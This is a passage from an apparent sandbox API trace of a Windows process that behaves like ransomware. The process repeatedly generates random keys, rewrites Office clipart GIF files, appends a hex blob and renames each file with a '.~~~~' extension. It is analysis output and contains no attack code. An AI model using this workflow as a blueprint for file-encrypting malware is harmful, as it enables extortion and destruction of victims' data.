	[0120.594] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.594] CloseHandle (hObject=0x130) returned 1
	[0120.594] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8758
	[0120.594] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01330_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01330_.gif.~~~~")) returned 1
	[0120.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.595] GetLastError () returned 0x0
	[0120.597] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0120.598] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.598] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.598] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24058807639) returned 1
	[0120.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb15b2ab0, dwHighDateTime=0x1d60e1e)) 
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9d00
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d00 | out: hHeap=0x300000) returned 1
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.598] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.598] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8758
	[0120.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.599] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5dc8
	[0120.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.599] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.599] GetLastError () returned 0x0
	[0120.599] GetLastError () returned 0x0
	[0120.599] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.599] GetLastError () returned 0x0
	[0120.599] GetLastError () returned 0x0
	[0120.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff767, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.601] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x899, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x899, lpOverlapped=0x0) returned 1
	[0120.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.603] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.603] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.603] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.603] CloseHandle (hObject=0x130) returned 1
	[0120.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8758
	[0120.603] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01734_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01734_.gif.~~~~")) returned 1
	[0120.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.604] GetLastError () returned 0x0
	[0120.605] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0120.605] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.605] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.605] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.606] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24059575453) returned 1
	[0120.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb15b2ab0, dwHighDateTime=0x1d60e1e)) 
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa198
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa198 | out: hHeap=0x300000) returned 1
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8758
	[0120.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5e60
	[0120.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.606] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.607] GetLastError () returned 0x0
	[0120.607] GetLastError () returned 0x0
	[0120.607] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.607] GetLastError () returned 0x0
	[0120.607] GetLastError () returned 0x0
	[0120.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffd3d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.608] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2c3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x2c3, lpOverlapped=0x0) returned 1
	[0120.609] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.610] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.610] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.610] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.610] CloseHandle (hObject=0x130) returned 1
	[0120.610] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f8758
	[0120.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.~~~~")) returned 1
	[0120.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.611] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.612] GetLastError () returned 0x0
	[0120.726] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0120.727] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.727] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.727] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24071718745) returned 1
	[0120.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb16e35b0, dwHighDateTime=0x1d60e1e)) 
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea3d8
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea3d8 | out: hHeap=0x300000) returned 1
	[0120.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.728] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b67e0
	[0120.728] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.728] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.728] GetLastError () returned 0x0
	[0120.728] GetLastError () returned 0x0
	[0120.729] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.729] GetLastError () returned 0x0
	[0120.729] GetLastError () returned 0x0
	[0120.732] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffdad, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.732] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x253, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x253, lpOverlapped=0x0) returned 1
	[0120.734] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.734] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.734] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.734] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.734] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.734] CloseHandle (hObject=0x128) returned 1
	[0120.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01742_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01742_.gif.~~~~")) returned 1
	[0120.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.736] GetLastError () returned 0x0
	[0120.740] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0120.741] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.741] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.741] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.741] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24073140587) returned 1
	[0120.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb1709710, dwHighDateTime=0x1d60e1e)) 
	[0120.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.741] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9548
	[0120.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9548 | out: hHeap=0x300000) returned 1
	[0120.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.742] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5f90
	[0120.742] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.742] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.742] GetLastError () returned 0x0
	[0120.742] GetLastError () returned 0x0
	[0120.742] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.742] GetLastError () returned 0x0
	[0120.742] GetLastError () returned 0x0
	[0120.769] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffefd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.769] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x102b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0x102b, lpOverlapped=0x0) returned 1
	[0120.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.773] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.774] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.774] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.774] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.775] CloseHandle (hObject=0x140) returned 1
	[0120.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.776] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB02229_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb02229_.gif.~~~~")) returned 1
	[0120.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.779] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0120.779] GetLastError () returned 0x0
	[0120.779] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0120.785] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.785] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0120.787] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0120.787] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24077756847) returned 1
	[0120.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb177bb30, dwHighDateTime=0x1d60e1e)) 
	[0120.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0120.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0120.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0120.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea480
	[0120.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea480 | out: hHeap=0x300000) returned 1
	[0120.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6910
	[0120.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.790] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0120.790] GetLastError () returned 0x0
	[0120.791] GetLastError () returned 0x0
	[0120.791] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0120.791] GetLastError () returned 0x0
	[0120.791] GetLastError () returned 0x0
	[0120.824] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff46a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.824] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xb96, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x26dfec0*=0xb96, lpOverlapped=0x0) returned 1
	[0120.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.826] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.826] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
